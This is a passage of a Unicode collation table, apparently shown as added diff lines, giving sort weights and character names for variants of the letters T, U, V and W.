+1D5B3 ; [.1E95.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL T
+1D5E7 ; [.1E95.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL T
+1D61B ; [.1E95.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL T
+1D64F ; [.1E95.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL T
+1D683 ; [.1E95.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL T
+24C9  ; [.1E95.0020.000C] # CIRCLED LATIN CAPITAL LETTER T
+1F163 ; [.1E95.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER T
+1D57  ; [.1E95.0020.0014] # MODIFIER LETTER SMALL T
+209C  ; [.1E95.0020.0015] # LATIN SUBSCRIPT SMALL LETTER T
+1D40  ; [.1E95.0020.001D] # MODIFIER LETTER CAPITAL T
+1F143 ; [.1E95.0020.001D] # SQUARED LATIN CAPITAL LETTER T
+1F183 ; [.1E95.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER T
+0165  ; [.1E95.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER T WITH CARON
+0164  ; [.1E95.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER T WITH CARON
+1E97  ; [.1E95.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER T WITH DIAERESIS
+1E6B  ; [.1E95.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER T WITH DOT ABOVE
+1E6A  ; [.1E95.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER T WITH DOT ABOVE
+0163  ; [.1E95.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER T WITH CEDILLA
+0162  ; [.1E95.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER T WITH CEDILLA
+1E6D  ; [.1E95.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER T WITH DOT BELOW
+1E6C  ; [.1E95.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER T WITH DOT BELOW
+021B  ; [.1E95.0020.0002][.0000.0045.0002] # LATIN SMALL LETTER T WITH COMMA BELOW
+021A  ; [.1E95.0020.0008][.0000.0045.0002] # LATIN CAPITAL LETTER T WITH COMMA BELOW
+1E71  ; [.1E95.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER T WITH CIRCUMFLEX BELOW
+1E70  ; [.1E95.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER T WITH CIRCUMFLEX BELOW
+1E6F  ; [.1E95.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER T WITH LINE BELOW
+1E6E  ; [.1E95.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER T WITH LINE BELOW
+A787  ; [.1E95.0020.0004][.0000.0111.0004] # LATIN SMALL LETTER INSULAR T
+A786  ; [.1E95.0020.000A][.0000.0111.0004] # LATIN CAPITAL LETTER INSULAR T
+02A8  ; [.1E95.0020.0004][.1C89.0020.0004] # LATIN SMALL LETTER TC DIGRAPH WITH CURL
+2121  ; [.1E95.0020.000A][.1CAA.0020.000A][.1D77.0020.000A] # TELEPHONE SIGN
+1D7A  ; [.1E95.0020.0004][.0000.0110.0004][.1D18.0020.0004] # LATIN SMALL LETTER TH WITH STRIKETHROUGH
+3394  ; [.1E95.0020.001D][.1D18.0020.001D][.1F21.0020.001C] # SQUARE THZ
+2122  ; [.1E95.0020.0014][.1DAA.0020.0014] # TRADE MARK SIGN
+01BE  ; [.1E95.0020.0004][.1E71.0020.0004] # LATIN LETTER INVERTED GLOTTAL STOP WITH STROKE
+02A6  ; [.1E95.0020.0004][.1E71.0020.0004] # LATIN SMALL LETTER TS DIGRAPH
+02A7  ; [.1E95.0020.0004][.1E82.0020.0004] # LATIN SMALL LETTER TESH DIGRAPH
+A729  ; [.1E95.0020.0004][.1F21.0020.0004] # LATIN SMALL LETTER TZ
+A728  ; [.1E95.0020.000A][.1F21.0020.0004] # LATIN CAPITAL LETTER TZ
+1D1B  ; [.1E99.0020.0002] # LATIN LETTER SMALL CAPITAL T
+0167  ; [.1E9A.0020.0002] # LATIN SMALL LETTER T WITH STROKE
+0166  ; [.1E9A.0020.0008] # LATIN CAPITAL LETTER T WITH STROKE
+2C66  ; [.1E9E.0020.0002] # LATIN SMALL LETTER T WITH DIAGONAL STROKE
+023E  ; [.1E9E.0020.0008] # LATIN CAPITAL LETTER T WITH DIAGONAL STROKE
+1D75  ; [.1E9F.0020.0002] # LATIN SMALL LETTER T WITH MIDDLE TILDE
+01AB  ; [.1EA0.0020.0002] # LATIN SMALL LETTER T WITH PALATAL HOOK
+1DB5  ; [.1EA0.0020.0014] # MODIFIER LETTER SMALL T WITH PALATAL HOOK
+01AD  ; [.1EA4.0020.0002] # LATIN SMALL LETTER T WITH HOOK
+01AC  ; [.1EA4.0020.0008] # LATIN CAPITAL LETTER T WITH HOOK
+0288  ; [.1EA8.0020.0002] # LATIN SMALL LETTER T WITH RETROFLEX HOOK
+01AE  ; [.1EA8.0020.0008] # LATIN CAPITAL LETTER T WITH RETROFLEX HOOK
+0236  ; [.1EAC.0020.0002] # LATIN SMALL LETTER T WITH CURL
+A777  ; [.1EB0.0020.0002] # LATIN SMALL LETTER TUM
+0287  ; [.1EB1.0020.0002] # LATIN SMALL LETTER TURNED T
+A7B1  ; [.1EB1.0020.0008] # LATIN CAPITAL LETTER TURNED T
+0075  ; [.1EB5.0020.0002] # LATIN SMALL LETTER U
+FF55  ; [.1EB5.0020.0003] # FULLWIDTH LATIN SMALL LETTER U
+0367  ; [.1EB5.0020.0004] # COMBINING LATIN SMALL LETTER U
+24B0  ; [*0317.0020.0004][.1EB5.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER U
+1D42E ; [.1EB5.0020.0005] # MATHEMATICAL BOLD SMALL U
+1D462 ; [.1EB5.0020.0005] # MATHEMATICAL ITALIC SMALL U
+1D496 ; [.1EB5.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL U
+1D4CA ; [.1EB5.0020.0005] # MATHEMATICAL SCRIPT SMALL U
+1D4FE ; [.1EB5.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL U
+1D532 ; [.1EB5.0020.0005] # MATHEMATICAL FRAKTUR SMALL U
+1D566 ; [.1EB5.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL U
+1D59A ; [.1EB5.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL U
+1D5CE ; [.1EB5.0020.0005] # MATHEMATICAL SANS-SERIF SMALL U
+1D602 ; [.1EB5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL U
+1D636 ; [.1EB5.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL U
+1D66A ; [.1EB5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL U
+1D69E ; [.1EB5.0020.0005] # MATHEMATICAL MONOSPACE SMALL U
+24E4  ; [.1EB5.0020.0006] # CIRCLED LATIN SMALL LETTER U
+0055  ; [.1EB5.0020.0008] # LATIN CAPITAL LETTER U
+FF35  ; [.1EB5.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER U
+1F124 ; [*0317.0020.0004][.1EB5.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER U
+1D414 ; [.1EB5.0020.000B] # MATHEMATICAL BOLD CAPITAL U
+1D448 ; [.1EB5.0020.000B] # MATHEMATICAL ITALIC CAPITAL U
+1D47C ; [.1EB5.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL U
+1D4B0 ; [.1EB5.0020.000B] # MATHEMATICAL SCRIPT CAPITAL U
+1D4E4 ; [.1EB5.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL U
+1D518 ; [.1EB5.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL U
+1D54C ; [.1EB5.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL U
+1D580 ; [.1EB5.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL U
+1D5B4 ; [.1EB5.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL U
+1D5E8 ; [.1EB5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL U
+1D61C ; [.1EB5.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL U
+1D650 ; [.1EB5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL U
+1D684 ; [.1EB5.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL U
+24CA  ; [.1EB5.0020.000C] # CIRCLED LATIN CAPITAL LETTER U
+1F164 ; [.1EB5.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER U
+1D58  ; [.1EB5.0020.0014] # MODIFIER LETTER SMALL U
+1D64  ; [.1EB5.0020.0015] # LATIN SUBSCRIPT SMALL LETTER U
+1D41  ; [.1EB5.0020.001D] # MODIFIER LETTER CAPITAL U
+1F144 ; [.1EB5.0020.001D] # SQUARED LATIN CAPITAL LETTER U
+1F184 ; [.1EB5.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER U
+00FA  ; [.1EB5.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH ACUTE
+00DA  ; [.1EB5.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH ACUTE
+00F9  ; [.1EB5.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH GRAVE
+00D9  ; [.1EB5.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH GRAVE
+016D  ; [.1EB5.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER U WITH BREVE
+016C  ; [.1EB5.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER U WITH BREVE
+00FB  ; [.1EB5.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER U WITH CIRCUMFLEX
+00DB  ; [.1EB5.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER U WITH CIRCUMFLEX
+01D4  ; [.1EB5.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH CARON
+01D3  ; [.1EB5.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH CARON
+016F  ; [.1EB5.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER U WITH RING ABOVE
+016E  ; [.1EB5.0020.0008][.0000.0029.0002] # LATIN CAPITAL LETTER U WITH RING ABOVE
+00FC  ; [.1EB5.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER U WITH DIAERESIS
+1DF4  ; [.1EB5.0020.0004][.0000.002B.0004] # COMBINING LATIN SMALL LETTER U WITH DIAERESIS
+A79F  ; [.1EB5.0020.0004][.0000.002B.0004] # LATIN SMALL LETTER VOLAPUK UE
+00DC  ; [.1EB5.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS
+A79E  ; [.1EB5.0020.000A][.0000.002B.0004] # LATIN CAPITAL LETTER VOLAPUK UE
+01D8  ; [.1EB5.0020.0002][.0000.002B.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
+01D7  ; [.1EB5.0020.0008][.0000.002B.0002][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
+01DC  ; [.1EB5.0020.0002][.0000.002B.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
+01DB  ; [.1EB5.0020.0008][.0000.002B.0002][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
+01DA  ; [.1EB5.0020.0002][.0000.002B.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
+01D9  ; [.1EB5.0020.0008][.0000.002B.0002][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
+01D6  ; [.1EB5.0020.0002][.0000.002B.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
+01D5  ; [.1EB5.0020.0008][.0000.002B.0002][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
+0171  ; [.1EB5.0020.0002][.0000.002C.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
+0170  ; [.1EB5.0020.0008][.0000.002C.0002] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
+0169  ; [.1EB5.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER U WITH TILDE
+0168  ; [.1EB5.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER U WITH TILDE
+1E79  ; [.1EB5.0020.0002][.0000.002D.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH TILDE AND ACUTE
+1E78  ; [.1EB5.0020.0008][.0000.002D.0002][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH TILDE AND ACUTE
+0173  ; [.1EB5.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER U WITH OGONEK
+0172  ; [.1EB5.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER U WITH OGONEK
+016B  ; [.1EB5.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH MACRON
+016A  ; [.1EB5.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH MACRON
+1E7B  ; [.1EB5.0020.0002][.0000.0032.0002][.0000.002B.0002] # LATIN SMALL LETTER U WITH MACRON AND DIAERESIS
+1E7A  ; [.1EB5.0020.0008][.0000.0032.0002][.0000.002B.0002] # LATIN CAPITAL LETTER U WITH MACRON AND DIAERESIS
+1DF0  ; [.1EB5.0020.0004][.0000.0034.0004] # COMBINING LATIN SMALL LETTER U WITH LIGHT CENTRALIZATION STROKE
+1EE7  ; [.1EB5.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER U WITH HOOK ABOVE
+1EE6  ; [.1EB5.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER U WITH HOOK ABOVE
+0215  ; [.1EB5.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER U WITH DOUBLE GRAVE
+0214  ; [.1EB5.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER U WITH DOUBLE GRAVE
+0217  ; [.1EB5.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER U WITH INVERTED BREVE
+0216  ; [.1EB5.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER U WITH INVERTED BREVE
+01B0  ; [.1EB5.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER U WITH HORN
+01AF  ; [.1EB5.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER U WITH HORN
+1EE9  ; [.1EB5.0020.0002][.0000.003F.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH HORN AND ACUTE
+1EE8  ; [.1EB5.0020.0008][.0000.003F.0002][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH HORN AND ACUTE
+1EEB  ; [.1EB5.0020.0002][.0000.003F.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH HORN AND GRAVE
+1EEA  ; [.1EB5.0020.0008][.0000.003F.0002][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH HORN AND GRAVE
+1EEF  ; [.1EB5.0020.0002][.0000.003F.0002][.0000.002D.0002] # LATIN SMALL LETTER U WITH HORN AND TILDE
+1EEE  ; [.1EB5.0020.0008][.0000.003F.0002][.0000.002D.0002] # LATIN CAPITAL LETTER U WITH HORN AND TILDE
+1EED  ; [.1EB5.0020.0002][.0000.003F.0002][.0000.003B.0002] # LATIN SMALL LETTER U WITH HORN AND HOOK ABOVE
+1EEC  ; [.1EB5.0020.0008][.0000.003F.0002][.0000.003B.0002] # LATIN CAPITAL LETTER U WITH HORN AND HOOK ABOVE
+1EF1  ; [.1EB5.0020.0002][.0000.003F.0002][.0000.0042.0002] # LATIN SMALL LETTER U WITH HORN AND DOT BELOW
+1EF0  ; [.1EB5.0020.0008][.0000.003F.0002][.0000.0042.0002] # LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW
+1EE5  ; [.1EB5.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER U WITH DOT BELOW
+1EE4  ; [.1EB5.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER U WITH DOT BELOW
+1E73  ; [.1EB5.0020.0002][.0000.0043.0002] # LATIN SMALL LETTER U WITH DIAERESIS BELOW
+1E72  ; [.1EB5.0020.0008][.0000.0043.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS BELOW
+1E77  ; [.1EB5.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER U WITH CIRCUMFLEX BELOW
+1E76  ; [.1EB5.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER U WITH CIRCUMFLEX BELOW
+1E75  ; [.1EB5.0020.0002][.0000.0048.0002] # LATIN SMALL LETTER U WITH TILDE BELOW
+1E74  ; [.1EB5.0020.0008][.0000.0048.0002] # LATIN CAPITAL LETTER U WITH TILDE BELOW
+1F1AB ; [.1EB5.0020.001D][.1D18.0020.001D][.1C8F.0020.001D] # SQUARED UHD
+1F199 ; [.1EB5.0020.001D][.1E0C.0020.001D][*0260.0020.001C] # SQUARED UP WITH EXCLAMATION MARK
+1D1C  ; [.1EB9.0020.0002] # LATIN LETTER SMALL CAPITAL U
+1DB8  ; [.1EB9.0020.0014] # MODIFIER LETTER SMALL CAPITAL U
+AB4E  ; [.1EBA.0020.0002] # LATIN SMALL LETTER U WITH SHORT RIGHT LEG
+1D1D  ; [.1EBB.0020.0002] # LATIN SMALL LETTER SIDEWAYS U
+1D59  ; [.1EBB.0020.0014] # MODIFIER LETTER SMALL SIDEWAYS U
+1D1E  ; [.1EBC.0020.0002] # LATIN SMALL LETTER SIDEWAYS DIAERESIZED U
+1D6B  ; [.1EBD.0020.0002] # LATIN SMALL LETTER UE
+AB50  ; [.1EBE.0020.0002] # LATIN SMALL LETTER UI
+AB51  ; [.1EBF.0020.0002] # LATIN SMALL LETTER TURNED UI
+0289  ; [.1EC0.0020.0002] # LATIN SMALL LETTER U BAR
+0244  ; [.1EC0.0020.0008] # LATIN CAPITAL LETTER U BAR
+1DB6  ; [.1EC0.0020.0014] # MODIFIER LETTER SMALL U BAR
+AB4F  ; [.1EC4.0020.0002] # LATIN SMALL LETTER U BAR WITH SHORT RIGHT LEG
+1D7E  ; [.1EC5.0020.0002] # LATIN SMALL CAPITAL LETTER U WITH STROKE
+1D99  ; [.1EC6.0020.0002] # LATIN SMALL LETTER U WITH RETROFLEX HOOK
+AB52  ; [.1EC7.0020.0002] # LATIN SMALL LETTER U WITH LEFT HOOK
+AB5F  ; [.1EC7.0020.0014] # MODIFIER LETTER SMALL U WITH LEFT HOOK
+0265  ; [.1EC8.0020.0002] # LATIN SMALL LETTER TURNED H
+A78D  ; [.1EC8.0020.0008] # LATIN CAPITAL LETTER TURNED H
+1DA3  ; [.1EC8.0020.0014] # MODIFIER LETTER SMALL TURNED H
+02AE  ; [.1ECC.0020.0002] # LATIN SMALL LETTER TURNED H WITH FISHHOOK
+02AF  ; [.1ED0.0020.0002] # LATIN SMALL LETTER TURNED H WITH FISHHOOK AND TAIL
+026F  ; [.1ED4.0020.0002] # LATIN SMALL LETTER TURNED M
+019C  ; [.1ED4.0020.0008] # LATIN CAPITAL LETTER TURNED M
+1D5A  ; [.1ED4.0020.0014] # MODIFIER LETTER SMALL TURNED M
+A7FA  ; [.1ED8.0020.0002] # LATIN LETTER SMALL CAPITAL TURNED M
+1D1F  ; [.1ED9.0020.0002] # LATIN SMALL LETTER SIDEWAYS TURNED M
+0270  ; [.1EDA.0020.0002] # LATIN SMALL LETTER TURNED M WITH LONG LEG
+1DAD  ; [.1EDA.0020.0014] # MODIFIER LETTER SMALL TURNED M WITH LONG LEG
+028A  ; [.1EDE.0020.0002] # LATIN SMALL LETTER UPSILON
+01B1  ; [.1EDE.0020.0008] # LATIN CAPITAL LETTER UPSILON
+1DB7  ; [.1EDE.0020.0014] # MODIFIER LETTER SMALL UPSILON
+1D7F  ; [.1EE2.0020.0002] # LATIN SMALL LETTER UPSILON WITH STROKE
+0076  ; [.1EE3.0020.0002] # LATIN SMALL LETTER V
+FF56  ; [.1EE3.0020.0003] # FULLWIDTH LATIN SMALL LETTER V
+036E  ; [.1EE3.0020.0004] # COMBINING LATIN SMALL LETTER V
+2174  ; [.1EE3.0020.0004] # SMALL ROMAN NUMERAL FIVE
+24B1  ; [*0317.0020.0004][.1EE3.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER V
+1D42F ; [.1EE3.0020.0005] # MATHEMATICAL BOLD SMALL V
+1D463 ; [.1EE3.0020.0005] # MATHEMATICAL ITALIC SMALL V
+1D497 ; [.1EE3.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL V
+1D4CB ; [.1EE3.0020.0005] # MATHEMATICAL SCRIPT SMALL V
+1D4FF ; [.1EE3.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL V
+1D533 ; [.1EE3.0020.0005] # MATHEMATICAL FRAKTUR SMALL V
+1D567 ; [.1EE3.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL V
+1D59B ; [.1EE3.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL V
+1D5CF ; [.1EE3.0020.0005] # MATHEMATICAL SANS-SERIF SMALL V
+1D603 ; [.1EE3.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL V
+1D637 ; [.1EE3.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL V
+1D66B ; [.1EE3.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL V
+1D69F ; [.1EE3.0020.0005] # MATHEMATICAL MONOSPACE SMALL V
+24E5  ; [.1EE3.0020.0006] # CIRCLED LATIN SMALL LETTER V
+0056  ; [.1EE3.0020.0008] # LATIN CAPITAL LETTER V
+FF36  ; [.1EE3.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER V
+2164  ; [.1EE3.0020.000A] # ROMAN NUMERAL FIVE
+1F125 ; [*0317.0020.0004][.1EE3.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER V
+1D415 ; [.1EE3.0020.000B] # MATHEMATICAL BOLD CAPITAL V
+1D449 ; [.1EE3.0020.000B] # MATHEMATICAL ITALIC CAPITAL V
+1D47D ; [.1EE3.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL V
+1D4B1 ; [.1EE3.0020.000B] # MATHEMATICAL SCRIPT CAPITAL V
+1D4E5 ; [.1EE3.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL V
+1D519 ; [.1EE3.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL V
+1D54D ; [.1EE3.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL V
+1D581 ; [.1EE3.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL V
+1D5B5 ; [.1EE3.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL V
+1D5E9 ; [.1EE3.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL V
+1D61D ; [.1EE3.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL V
+1D651 ; [.1EE3.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL V
+1D685 ; [.1EE3.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL V
+24CB  ; [.1EE3.0020.000C] # CIRCLED LATIN CAPITAL LETTER V
+1F165 ; [.1EE3.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER V
+1D5B  ; [.1EE3.0020.0014] # MODIFIER LETTER SMALL V
+1D65  ; [.1EE3.0020.0015] # LATIN SUBSCRIPT SMALL LETTER V
+2C7D  ; [.1EE3.0020.001D] # MODIFIER LETTER CAPITAL V
+1F145 ; [.1EE3.0020.001D] # SQUARED LATIN CAPITAL LETTER V
+1F185 ; [.1EE3.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER V
+1E7D  ; [.1EE3.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER V WITH TILDE
+1E7C  ; [.1EE3.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER V WITH TILDE
+1E7F  ; [.1EE3.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER V WITH DOT BELOW
+1E7E  ; [.1EE3.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER V WITH DOT BELOW
+2175  ; [.1EE3.0020.0004][.1D32.0020.0004] # SMALL ROMAN NUMERAL SIX
+2165  ; [.1EE3.0020.000A][.1D32.0020.000A] # ROMAN NUMERAL SIX
+2176  ; [.1EE3.0020.0004][.1D32.0020.0004][.1D32.0020.0004] # SMALL ROMAN NUMERAL SEVEN
+2166  ; [.1EE3.0020.000A][.1D32.0020.000A][.1D32.0020.000A] # ROMAN NUMERAL SEVEN
+2177  ; [.1EE3.0020.0004][.1D32.0020.0004][.1D32.0020.0004][.1D32.0020.0004] # SMALL ROMAN NUMERAL EIGHT
+2167  ; [.1EE3.0020.000A][.1D32.0020.000A][.1D32.0020.000A][.1D32.0020.000A] # ROMAN NUMERAL EIGHT
+33DE  ; [.1EE3.0020.001D][*0625.0020.001C][.1DAA.0020.001C] # SQUARE V OVER M
+1F1AC ; [.1EE3.0020.001D][.1DDD.0020.001D][.1C8F.0020.001D] # SQUARED VOD
+1F19A ; [.1EE3.0020.001D][.1E71.0020.001D] # SQUARED VS
+A761  ; [.1EE3.0020.0004][.1F0B.0020.0004] # LATIN SMALL LETTER VY
+A760  ; [.1EE3.0020.000A][.1F0B.0020.000A] # LATIN CAPITAL LETTER VY
+1D20  ; [.1EE7.0020.0002] # LATIN LETTER SMALL CAPITAL V
+A75F  ; [.1EE8.0020.0002] # LATIN SMALL LETTER V WITH DIAGONAL STROKE
+A75E  ; [.1EE8.0020.0008] # LATIN CAPITAL LETTER V WITH DIAGONAL STROKE
+1D8C  ; [.1EE9.0020.0002] # LATIN SMALL LETTER V WITH PALATAL HOOK
+028B  ; [.1EEA.0020.0002] # LATIN SMALL LETTER V WITH HOOK
+01B2  ; [.1EEA.0020.0008] # LATIN CAPITAL LETTER V WITH HOOK
+1DB9  ; [.1EEA.0020.0014] # MODIFIER LETTER SMALL V WITH HOOK
+2C71  ; [.1EEE.0020.0002] # LATIN SMALL LETTER V WITH RIGHT HOOK
+2C74  ; [.1EEF.0020.0002] # LATIN SMALL LETTER V WITH CURL
+1EFD  ; [.1EF0.0020.0002] # LATIN SMALL LETTER MIDDLE-WELSH V
+1EFC  ; [.1EF0.0020.0008] # LATIN CAPITAL LETTER MIDDLE-WELSH V
+028C  ; [.1EF1.0020.0002] # LATIN SMALL LETTER TURNED V
+0245  ; [.1EF1.0020.0008] # LATIN CAPITAL LETTER TURNED V
+1DBA  ; [.1EF1.0020.0014] # MODIFIER LETTER SMALL TURNED V
+0077  ; [.1EF5.0020.0002] # LATIN SMALL LETTER W
+FF57  ; [.1EF5.0020.0003] # FULLWIDTH LATIN SMALL LETTER W
+1DF1  ; [.1EF5.0020.0004] # COMBINING LATIN SMALL LETTER W
+24B2  ; [*0317.0020.0004][.1EF5.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER W
+1D430 ; [.1EF5.0020.0005] # MATHEMATICAL BOLD SMALL W
+1D464 ; [.1EF5.0020.0005] # MATHEMATICAL ITALIC SMALL W
+1D498 ; [.1EF5.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL W
+1D4CC ; [.1EF5.0020.0005] # MATHEMATICAL SCRIPT SMALL W
+1D500 ; [.1EF5.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL W
+1D534 ; [.1EF5.0020.0005] # MATHEMATICAL FRAKTUR SMALL W
+1D568 ; [.1EF5.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL W
+1D59C ; [.1EF5.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL W
+1D5D0 ; [.1EF5.0020.0005] # MATHEMATICAL SANS-SERIF SMALL W
+1D604 ; [.1EF5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL W
+1D638 ; [.1EF5.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL W
+1D66C ; [.1EF5.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL W
+1D6A0 ; [.1EF5.0020.0005] # MATHEMATICAL MONOSPACE SMALL W
+24E6  ; [.1EF5.0020.0006] # CIRCLED LATIN SMALL LETTER W
+0057  ; [.1EF5.0020.0008] # LATIN CAPITAL LETTER W
+FF37  ; [.1EF5.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER W
+1F126 ; [*0317.0020.0004][.1EF5.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER W
+1D416 ; [.1EF5.0020.000B] # MATHEMATICAL BOLD CAPITAL W
+1D44A ; [.1EF5.0020.000B] # MATHEMATICAL ITALIC CAPITAL W
+1D47E ; [.1EF5.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL W
+1D4B2 ; [.1EF5.0020.000B] # MATHEMATICAL SCRIPT CAPITAL W
+1D4E6 ; [.1EF5.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL W
+1D51A ; [.1EF5.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL W
+1D54E ; [.1EF5.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL W
+1D582 ; [.1EF5.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL W
+1D5B6 ; [.1EF5.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL W
+1D5EA ; [.1EF5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL W
